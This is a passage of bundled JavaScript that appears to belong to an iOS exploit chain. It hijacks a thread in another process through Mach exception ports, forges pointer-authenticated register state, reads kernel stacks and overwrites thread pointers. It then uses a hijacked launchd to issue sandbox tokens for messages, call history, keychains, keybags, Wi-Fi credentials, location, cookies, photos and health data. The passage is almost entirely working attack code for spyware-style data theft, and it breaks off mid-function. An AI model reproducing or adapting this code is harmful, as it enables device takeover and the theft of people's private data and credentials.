Chain.threadSpawn(this.#exceptionThreadCFString, threadmem);
let timeout = 10000n;
if(largeTimeout)
timeout = 30000n;
Native.callSymbol("usleep",timeout);
let machThread = Native.read64(threadmem + 0x100n);
Native.callSymbol("free",threadmem);
let machThreadAddr = 0n;
if(machThread == this.#dummyThreadMach)
{
console.log(TAG,`remote thread didn't succeed, aborting`);
Thread.setMutex(this.#dummyThreadAddr, 0x40000000); // LCK_MTX_NEEDS_WAKEUP
Native.callSymbol("thread_switch", machThread, SWITCH_OPTION_NONE, 0n);
// This will wake up setter
Native.callSymbol("thread_set_exception_ports", this.#dummyThreadMach, 0n, ExceptionPort , Utils.EXCEPTION_STATE | Utils.MACH_EXCEPTION_CODES, BigInt(Utils.ARM_THREAD_STATE64));
Native.callSymbol("thread_switch", machThread, SWITCH_OPTION_NONE, 0n);
return false;
}
else
machThreadAddr = Task.getPortKObject(machThread);
*/
//Native.callSymbol("usleep",100n);
//kr = Native.callSymbol("thread_switch", machThread, SWITCH_OPTION_NONE, 0n);
//console.log(TAG, "thread_switch: " + kr);
//if (!machThreadAddr)
//{
// console.log(TAG,`Unable to get machThreadAddr`);
//return false;
//}
//console.log(TAG, "Successfully switched to new mach thread");
//Native.callSymbol("sleep", 2);
//Native.callSymbol("usleep", 100000);
//Native.callSymbol("sleep", 1);
for (let i=0; i<10; i++) {
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("usleep", 200000);
let kstack = 0x0n;
//let retries = 0n;
//while (true && !kstack && retries < 100000n)
//{
// //Native.callSymbol("usleep",100n);
// kstack = Thread.getStack(machThreadAddr);
// retries++;
//}
kstack = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getStack(machThreadAddr);
if (!kstack)
{
console.log(TAG,`Failed to get kstack. Retry...`);
continue;
}
//console.log(TAG,`kstack:${Utils.hex(kstack)}`);
// Waiting a bit longer to make sure pointer is valid
//Native.callSymbol("usleep",10000n);
//console.log(TAG,`Current mutex:${Utils.hex(Thread.getMutex(this.#dummyThreadAddr))}`);
//uwrite64(threadmem + 0x100n,0x0n); // instead of free
let kernelSPOffset = BigInt(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE * 12);
let kernelSP = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(kstack + kernelSPOffset);
if (!kernelSP) {
console.log(TAG, "Failed to get SP. Retry...");
continue;
}
//console.log(TAG,`kernelSP:${Utils.hex(kernelSP)}`);
//Native.callSymbol("usleep",20000n);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("usleep",100n);
//let data = Native.callSymbol("malloc",0x1000n);
//console.log(TAG,`Before reading from page`);
let dataBuff = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].readBuff(_Task__WEBPACK_IMPORTED_MODULE_3__["default"].trunc_page(kernelSP) + 0x3000n, 0x1000);
if (!dataBuff) {
console.log(TAG, "Failed to read from kernel SP. Aborting...");
break;
}
//console.log(TAG,`Second read finished succesfully`);
//Native.callSymbol("usleep",100n);
//let dataBuff = Native.read(data,0x1000);
//Native.callSymbol("free",data);
//let troPointer = Native.mem;
let buffer = new ArrayBuffer(8);
const view = new DataView(buffer);
view.setBigUint64(0,this.#dummyThreadTro,true);
let found = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].memmem(dataBuff,buffer);
//console.log(TAG,`found:${Utils.hex(found)}`);
found = BigInt(found) + 0x3000n;
let correctTro = false;
let val = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem;
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read(_Task__WEBPACK_IMPORTED_MODULE_3__["default"].trunc_page(kernelSP) + found + 0x18n, val, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE);
val = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].readPtr(val);
if(val == 0x1002)
correctTro = true;
else {
console.log(TAG, "Wrong tro. Retry...");
continue;
}
//console.log(TAG,`Wrong tro, skipping this thread`);
if (found && correctTro)
{
//console.log(TAG,`Found TRO!`);
if(_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getTask(currThread) == this.#taskAddr)
{
let tro = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getTro(currThread);
//console.log(TAG,`tro:${Utils.hex(tro)}`);
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].write64(_Task__WEBPACK_IMPORTED_MODULE_3__["default"].trunc_page(kernelSP) + BigInt(found), tro);
success = true;
break;
}
else
{
console.log(TAG,`got empty tro, skip writing`);
}
}
else
{
console.log(TAG, `didnt find tro for ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(currThread)}`);
}
}
//console.log(TAG,`Injecting into:${Utils.hex(currThread)}`);
// Set LCK_MTX_NEEDS_WAKEUP so that setter would be woken up by the turnstile of the lock on next use.
_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].setMutex(this.#dummyThreadAddr, 0x40000000); // LCK_MTX_NEEDS_WAKEUP
//Native.callSymbol("thread_switch", machThread, SWITCH_OPTION_NONE, 0n);
// This will wake up setter
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("thread_set_exception_ports", this.#dummyThreadMach, 0n, exceptionPort , libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].EXCEPTION_STATE | libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].MACH_EXCEPTION_CODES, BigInt(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ARM_THREAD_STATE64));
//Native.callSymbol("thread_switch", machThread, SWITCH_OPTION_NONE, 0n);
//Native.callSymbol("usleep",40000n);
//console.log(TAG,`After second thread switch`);
//pthread_join(setExceptionThread, NULL);
//mpd_js_thread_join(th);
//free(data);
//console.log(TAG,`Finish injecting into:${Utils.hex(currThread)}`);
if (migFilterBypass)
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("usleep", 100000);
return success;
}
#doRemoteCallTemp(
timeout,
name,
x0 = 0n,
x1 = 0n,
x2 = 0n,
x3 = 0n,
x4 = 0n,
x5 = 0n,
x6 = 0n,
x7 = 0n)
{
let newTimeout = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].MAX(10000,timeout);
//Calculate actual pc addr
let pcAddr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].dlsym(name);
// First wait for the pending exception caused by previous state corruption, so we can the reply with a new state.
let excBuffer = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem;
if (!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#firstExceptionPort, excBuffer, newTimeout, false))
{
console.log(TAG,`Don't receive first exception on original thread`);
return 0n;
}
let excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize));
let exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes);
this._lastLiveSP = exc.threadState.opaque_sp & 0x7fffffffffn;
// Set the new state
let newState = exc.threadState;
newState.registers.set(0,x0);
newState.registers.set(1,x1);
newState.registers.set(2,x2);
newState.registers.set(3,x3);
newState.registers.set(4,x4);
newState.registers.set(5,x5);
newState.registers.set(6,x6);
newState.registers.set(7,x7);
newState = this.#signState(this.#trojanThreadAddr, newState, pcAddr, fakeLRTrojanCreator);
_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(exc, newState, false);
exc.threadState.registers.set(0,x0);
// Don't wait for a new exception if timeout is < 0. Eg, when doing cleanup of trojan thread.
if (timeout < 0)
{
console.log(TAG,`Trojan thread cleanup`);
return 0n;
}
// Wait for the exception on LR corruption, so we can get return value of the call.
if (!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#firstExceptionPort, excBuffer, newTimeout, false))
{
console.log(TAG,`Don't receive second exception on original thread`);
return 0n;
}
excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize));
exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes);
let retValue = exc.threadState.registers.get(0);
// Corrupt again PC so we can control flow for the next call.
newState = exc.threadState;
// Can be therotical used one previous implementation doesn't set LR
//signState(remoteCall->trojanThreadAddr, &newState, 0x101, 0);
_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(exc, newState, false);
return retValue;
}
#doRemoteCallStable(
timeout,
name,
x0 = 0n,
x1 = 0n,
x2 = 0n,
x3 = 0n,
x4 = 0n,
x5 = 0n,
x6 = 0n,
x7 = 0n)
{
if (!this.#creatingExtraThread)
return this.#doRemoteCallTemp(timeout, name, x0, x1, x2, x3, x4, x5, x6, x7);
//Calculate actual pc addr
let pcAddr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].dlsym(name);
if (!pcAddr) {
console.log(TAG, "Unable to find symbol: " + name);
return 0n;
}
let newTimeout = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].MAX(10000,timeout);
// First wait for the pending exception caused by previous state corruption, so we can the reply with a new state.
let excBuffer = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem;
if (!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#secondExceptionPort, excBuffer, newTimeout, false))
{
console.log(TAG,`Don't receive first exception on new thread`);
return 0n;
}
let excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize));
let exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes);
this._lastLiveSP = exc.threadState.opaque_sp & 0x7fffffffffn;
// Set the new state
let newState = exc.threadState;
newState.registers.set(0,x0);
newState.registers.set(1,x1);
newState.registers.set(2,x2);
newState.registers.set(3,x3);
newState.registers.set(4,x4);
newState.registers.set(5,x5);
newState.registers.set(6,x6);
newState.registers.set(7,x7);
newState = this.#signState(this.#trojanThreadAddr, newState, pcAddr, fakeLRTrojan);
_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(exc, newState, false);
exc.threadState.registers.set(0, x0);
// Don't wait for a new exception if timeout is < 0. Eg, when doing cleanup of trojan thread.
if (timeout < 0)
{
console.log(TAG,`Trojan thread cleanup`);
return 0n;
}
// Wait for the exception on LR corruption, so we can get return value of the call.
if (!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#secondExceptionPort, excBuffer, newTimeout, false))
{
console.log(TAG,`Don't receive second exception on new thread`);
return 0n;
}
excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize));
exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes);
let retValue = exc.threadState.registers.get(0);
// Corrupt again PC so we can control flow for the next call.
newState = exc.threadState;
// Can be therotical used one previous implementation doesn't set LR
//signState(remoteCall->trojanThreadAddr, &newState, 0x101, 0);
_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(exc, newState, false);
return retValue;
}
call(
timeout,
pc,
x0 = 0n,
x1 = 0n,
x2 = 0n,
x3 = 0n,
x4 = 0n,
x5 = 0n,
x6 = 0n,
x7 = 0n)
{
//console.log(TAG, `call(${Utils.hex(pc)}, ${Utils.hex(x0)}, ${Utils.hex(x1)}, ${Utils.hex(x2)}, ${Utils.hex(x3)})`);
return this.#doRemoteCallStable(timeout, pc, x0, x1, x2, x3, x4, x5, x6, x7);
}
#restoreTrojanThread(state)
{
let excBuffer = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem;
if (!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#firstExceptionPort, excBuffer, 20000, false))
{
console.log(TAG,`Failed to receive first exception while restoring`);
return false;
}
let excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize));
let exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes);
state.opaque_flags = exc.threadState.opaque_flags;
state = this.#signState(this.#trojanThreadAddr, state,state.opaque_pc,state.opaque_lr);
_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(exc, state, false);
return true;
}
destroy()
{
try {
for (let i = 0; i < this.#threadList.length; i++)
_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].clearGuardException(this.#threadList[i]);
} catch (_) {}
if (this.#success) {
try {
this.#doRemoteCallStable(100, "munmap", this.#trojanMem, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_SIZE);
} catch (_) {}
try {
if (this.#creatingExtraThread)
this.#doRemoteCallStable(-1, "pthread_exit");
else
this.#restoreTrojanThread(this.#originalState);
} catch (_) {}
}
try {
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_port_destruct", 0x203, this.#firstExceptionPort, 0n, 0n);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_port_destruct", 0x203, this.#secondExceptionPort, 0n, 0n);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_cancel", this.#dummyThread);
} catch (_) {}
}
read(src, dst, size)
{
if (!src || !dst || !size)
return false;
dst = BigInt(dst);
src = BigInt(src);
size = BigInt(size);
//console.log(TAG, `read(): src=${Utils.hex(src)}, dst=${Utils.hex(dst)}, size=${size}`);
let until = src + size;
while (src < until)
{
size = until - src;
let offs = src & libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_MASK;
let copyCount = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].MIN(_Task__WEBPACK_IMPORTED_MODULE_3__["default"].round_page(src + 1n) - src, size);
let pageAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].trunc_page(src);
let remotePage = this.#getShmemForPage(pageAddr);
if (!remotePage) {
console.log(TAG, "read() failed: unable to find remote page");
return false;
}
//console.log(TAG,`remotePage: remote=${Utils.hex(remotePage.remoteAddress)}, local=${Utils.hex(remotePage.localAddress)}, port=${Utils.hex(remotePage.port)}`);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("memcpy", dst, remotePage.localAddress + offs, copyCount);
src += copyCount;
dst += copyCount;
}
return true;
}
write(dst, src, size)
{
if (!src || !dst || !size)
return false;
dst = BigInt(dst);
src = BigInt(src);
size = BigInt(size);
let until = dst + size;
//console.log(TAG, `write(): dst=${Utils.hex(dst)}, src=${Utils.hex(src)}, size=${size}`);
while (dst < until)
{
size = until - dst;
let offs = dst & libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_MASK;
let copyCount = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].MIN(_Task__WEBPACK_IMPORTED_MODULE_3__["default"].round_page(dst + 1n) - dst, size);
let pageAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].trunc_page(dst);
let remotePage = this.#getShmemForPage(pageAddr);
if (!remotePage) {
console.log(TAG, "write() failed: unable to find remote page");
return false;
}
//console.log(TAG,`remotePage: remote=${Utils.hex(remotePage.remoteAddress)}, local=${Utils.hex(remotePage.localAddress)}, offs=${offs}, length=${copyCount}, port=${Utils.hex(remotePage.port)}`);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("memcpy", remotePage.localAddress + offs, src, copyCount);
dst += copyCount;
src += copyCount;
}
return true;
}
writeStr(dst, str)
{
if (!str)
return false;
//return this.write(dst, Native.getCString(str), str.length + 1);
let mem = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("malloc", str.length + 1);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].writeString(mem, str);
const ret = this.write(dst, mem, str.length + 1);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("free", mem);
return ret;
}
read64(src)
{
if (!this.read(src, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE))
return false;
const buff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE);
const view = new DataView(buff);
return view.getBigUint64(0, true);
}
write64(dst, val)
{
const buff = new ArrayBuffer(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE);
const view = new DataView(buff);
view.setBigUint64(0, val, true);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].write(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem, buff);
return this.write(dst, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE);
}
mem()
{
return this.#trojanMem;
}
lastLiveSP()
{
return this._lastLiveSP || 0n;
}
pac(address,modifier)
{
return _PAC__WEBPACK_IMPORTED_MODULE_8__["default"].remotePAC(this.#trojanThreadAddr, address, modifier);
}
insertRight(port, right)
{
//console.log(TAG, "Insert right: " + Utils.hex(port));
const MACH_MSG_TYPE_COPY_SEND = 19;
let msgBuff = new ArrayBuffer(24);
let msg = new _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_11__["default"](msgBuff);
msg.msgh_id = 0x4141;
msg.msgh_remote_port = this.#localPort;
msg.msgh_local_port = port;
msg.msgh_size = 24;
msg.msgh_bits = _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_11__["default"].MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, right);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].write(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem, msgBuff);
let ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_msg_send", libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem);
if (ret != 0) {
let errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_error_string", ret);
errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].readString(errString);
console.log(TAG, "insertRight: error while sending message: " + errString);
return 0;
}
//TODO receive in remote task
msg.msgh_size = 0x100;
msg.msgh_local_port = this.#remotePort;
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].write(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem, msgBuff);
this.write(this.#trojanMem, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem, 24);
ret = this.#doRemoteCallStable(100, "mach_msg_receive", this.#trojanMem);
if (ret != 0) {
let errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_error_string", ret);
errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].readString(errString);
console.log(TAG, "insertRight: error while receiving message: " + errString);
return 0;
}
this.read(this.#trojanMem, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem + 0x100n, 24);
let recvBuff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem + 0x100n, 24);
let recvMsg = new _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_11__["default"](recvBuff);
//console.log(TAG, "Recv msg id: " + Utils.hex(recvMsg.msgh_id));
//console.log(TAG, "Recv remote port: " + Utils.hex(recvMsg.msgh_remote_port));
ret = this.#doRemoteCallStable(100, "fileport_makefd", recvMsg.msgh_remote_port);
if (ret < 0) {
console.log(TAG, "insertRight: error with fileport_makefd");
return 0;
}
//console.log(TAG, "Remote fileport_makefd: " + ret);
return ret;
}
#putShmemInCache(shmem)
{
for (let i=0; i<SHMEM_CACHE_SIZE; i++)
{
if (!this.#shmemCache[i])
{
// TODO encapsulate this inside shmem struct
let shmemBuff = new ArrayBuffer(0x18);
this.#shmemCache[i] = new _VMShmem__WEBPACK_IMPORTED_MODULE_10__["default"](shmemBuff);
this.#shmemCache[i].port = shmem.port;
this.#shmemCache[i].localAddress = shmem.localAddress;
this.#shmemCache[i].remoteAddress = shmem.remoteAddress;
return this.#shmemCache[i];
}
}
return null;
}
#getShmemForPage(pageAddr)
{
let remotePage = this.#getShmemFromCache(pageAddr);
if (!remotePage)
{
//console.log(TAG, `Page not found in cache: ${Utils.hex(pageAddr)}`);
let newRemotePage = _VM__WEBPACK_IMPORTED_MODULE_9__["default"].mapRemotePage(this.#vmMap, pageAddr);
if (!newRemotePage || !newRemotePage.localAddress)
return false;
return this.#putShmemInCache(newRemotePage);
}
//console.log(TAG, `Page found in cache: ${Utils.hex(pageAddr)}`);
return remotePage;
}
#getShmemFromCache(pageAddr)
{
//console.log(TAG,`getShmemFromCache(): pageAddr=${Utils.hex(pageAddr)}`);
for (let i=0; i<SHMEM_CACHE_SIZE; i++)
{
if(this.#shmemCache[i])
if (this.#shmemCache[i].remoteAddress === pageAddr)
return this.#shmemCache[i];
}
return null;
}
#writeCFStr(dst, str) {
const kCFStringEncodingUTF8 = 0x08000100n;
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].writeString(dst, str);
return libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("CFStringCreateWithCString", 0n, dst, kCFStringEncodingUTF8);
}
#EXC_GUARD_ENCODE_TYPE(code, type)
{
code |= ((type & BigInt('0x7')) << 61n);
return code;
}
#EXC_GUARD_ENCODE_FLAVOR(code, flavor)
{
code |= ((flavor & BigInt('0x1fffffff')) << 32n);
return code;
}
#EXC_GUARD_ENCODE_TARGET(code, target)
{
code |= target & BigInt('0xffffffff');
return code;
}
}
/***/ }),
/***/ "./src/libs/TaskRop/Sandbox.js":
/*!*************************************!*\
!*** ./src/libs/TaskRop/Sandbox.js ***!
\*************************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "default": () => (/* binding */ Sandbox)
/* harmony export */ });
/* harmony import */ var libs_JSUtils_FileUtils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/JSUtils/FileUtils */ "./src/libs/JSUtils/FileUtils.js");
/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js");
/* harmony import */ var _Task__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./Task */ "./src/libs/TaskRop/Task.js");
/* harmony import */ var _RemoteCall__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./RemoteCall */ "./src/libs/TaskRop/RemoteCall.js");
/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js");
/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js");
const TAG = "SANDBOX";
class Sandbox {
static #launchdTask = null;
static #PathDictionary = {
// Communications
"/private/var/mobile/Library/AddressBook/":0,
"/private/var/mobile/Library/CallHistoryDB/":0,
"/private/var/mobile/Library/DoNotDisturb/":0,
"/private/var/mobile/Library/SMS/":0,
"/private/var/mobile/Library/Calendar/":0,
"/private/var/mobile/Library/Mail/":0,
"/private/var/mobile/Library/Voicemail/":0,
"/var/mobile/Library/Recordings":0,
// Location
"/private/var/root/Library/Caches/locationd":0,
"/private/var/root/Library/Caches/locationd/":0,
"/private/var/mobile/Library/Caches/locationd/":0,
"/private/var/mobile/Library/Caches/com.apple.routined/":0,
// Browser & Cookies
"/private/var/mobile/Library/Safari/":0,
"/private/var/mobile/Library/Cookies/":0,
"/private/var/mobile/Cookies/":0,
// Credentials & WiFi
"/private/var/Keychains/":0,
"/var/Keychains/":0,
"/private/var/keybags/":0,
"/var/keybags/":0,
"/private/var/keybags/systembag.kb":0,
"/private/var/keybags/persona.kb":0,
"/private/var/keybags/usersession.kb":0,
"/private/var/keybags/backup/":0,
"/var/keybags/":0,
"/var/keybags/systembag.kb":0,
"/var/keybags/persona.kb":0,
"/var/keybags/usersession.kb":0,
"/var/keybags/backup/":0,
"/var/keybags/backup/backup_keys_cache.sqlite":0,
"/private/var/preferences/com.apple.wifi.known-networks.plist":0,
"/private/var/preferences/SystemConfiguration/":0,
"/private/var/preferences/SystemConfiguration/preferences.plist":0,
"/private/var/preferences/SystemConfiguration/com.apple.wifi.plist":0,
"/private/var/preferences/SystemConfiguration/com.apple.wifi-private-mac-networks.plist":0,
"/private/var/networkd/db/":0,
"/var/wireless/":0,
"/private/var/wireless/":0,
"/var/wireless/Library/":0,
"/var/wireless/Library/Caches/":0,
"/var/wireless/Library/Preferences/":0,
"/var/wireless/Library/Databases/":0,
"/var/wireless/Library/ControlCenter/":0,
"/private/var/wireless/Library/":0,
"/private/var/wireless/Library/Preferences/":0,
"/private/var/wireless/Library/Databases/":0,
"/private/var/wireless/Library/ControlCenter/":0,
"/private/var/mobile/Library/CoreDuet/":0,
"/private/var/mobile/Library/CoreDuet/People/":0,
"/private/var/mobile/Library/PersonalizationPortrait/":0,
"/var/log/":0,
"/private/var/log/":0,
"/var/db/":0,
"/private/var/db/":0,
"/var/run/":0,
"/private/var/run/":0,
// Personal Data
"/private/var/mobile/Library/Notes/":0,
"/private/var/mobile/Library/Health/":0,
"/private/var/mobile/Media/":0,
"/private/var/mobile/Media/PhotoData/":0,
"/private/var/mobile/Media/DCIM/":0,
"/var/mobile/Media/":0,
"/var/mobile/Media/PhotoData/":0,
"/var/mobile/Media/DCIM/":0,
// Device Info
"/private/var/root/Library/Lockdown/":0,
"/private/var/mobile/Library/Preferences/":0,
"/private/var/mobile/Library/Preferences/com.apple.commcenter.shared.plist":0,
"/private/var/mobile/Library/Preferences/com.apple.identityservices.idstatuscache.plist":0,
// Accounts
"/private/var/mobile/Library/Accounts/":0,
// Protected & Trust
"/private/var/protected/trustd/private/":0,
"/private/var/protected/trustd/private":0,
// System & Apps
"/bin/":0,
"/Applications/":0,
"/private/var/containers/Bundle/Application/":0,
"/var/containers/Bundle/Application/":0,
"/private/var/containers/Shared/SystemGroup/":0,
"/private/var/mobile/Containers/Data/Application/":0,
"/var/mobile/Containers/Data/Application/":0,
"/private/var/mobile/Containers/Shared/AppGroup/":0,
// Notifications & Logs
"/private/var/mobile/Library/UserNotificationsUI/NotificationListPersistentState.json":0,
"/private/var/mobile/Library/UserNotifications/":0,
"/private/var/mobile/Library/Logs/CrashReporter/":0,
"/private/var/mobile/Library/ExternalAccessory":0,
"/private/var/mobile/Library/Shortcuts/":0,
// Temp directory for file operations
"/private/var/tmp/":0,
"/tmp/":0
/* not allowed via launchd
"/private/var/mobile/Library/CoreDuet/Knowledge/knowledgeC.db":0,
"/private/var/mobile/Library/CoreDuet/Knowledge/knowledgeC.db-wal":0,
"/private/var/mobile/Library/CoreDuet/Knowledge/knowledgeC.db-shm":0
*/
};
static initWithLaunchdTask(launchdTask) {
this.#launchdTask = launchdTask;
}
static getTokenForPath(path, consume=false)
{
if (!this.#launchdTask || !this.#launchdTask.success())
return;
//console.log(TAG,`Creating token for path:${path}`);
let memRemote = this.#launchdTask.mem();
let pathRemote = memRemote;
this.#launchdTask.writeStr(pathRemote,path);
let appSandboxReadExt = "com.apple.app-sandbox.read-write";
let sandboxExtensionEntry = memRemote + 0x100n;
this.#launchdTask.writeStr(sandboxExtensionEntry,appSandboxReadExt);
let tokenRemote = this.#launchdTask.call(100, "sandbox_extension_issue_file",sandboxExtensionEntry,pathRemote,0n,0n);
if (!tokenRemote) {
console.log(TAG, "Unable to create token for: " + path);
return null;
}
//console.log(TAG,`token:${Utils.hex(tokenRemote)}`);
let token = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].mem;
this.#launchdTask.read(tokenRemote,token,512n);
if(consume)
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("sandbox_extension_consume",token);
token = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].readString(token,512);
//console.log(TAG,`token:${token}`);
if(!token || !token.includes("com.apple.app-sandbox.read-write"))
{
console.log(TAG,`Found weird token:${token}, not registering`);
return null;
}
return token;
}
static createTokens()
{
// 18.6.1+ → iOS18nui full token path (slim issue+consume+usleep reboots A14/18.6.2).
// 18.6.0 → keep lab slim (historically safer on some A13).
function __tokIosPat() {
try {
var N = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"];
var sizePtr = N.callSymbol("calloc", 1, 8);
if (!sizePtr || sizePtr === 0n) return -1;
var rc = Number(N.callSymbol("sysctlbyname", "kern.osproductversion", 0, sizePtr, 0, 0));
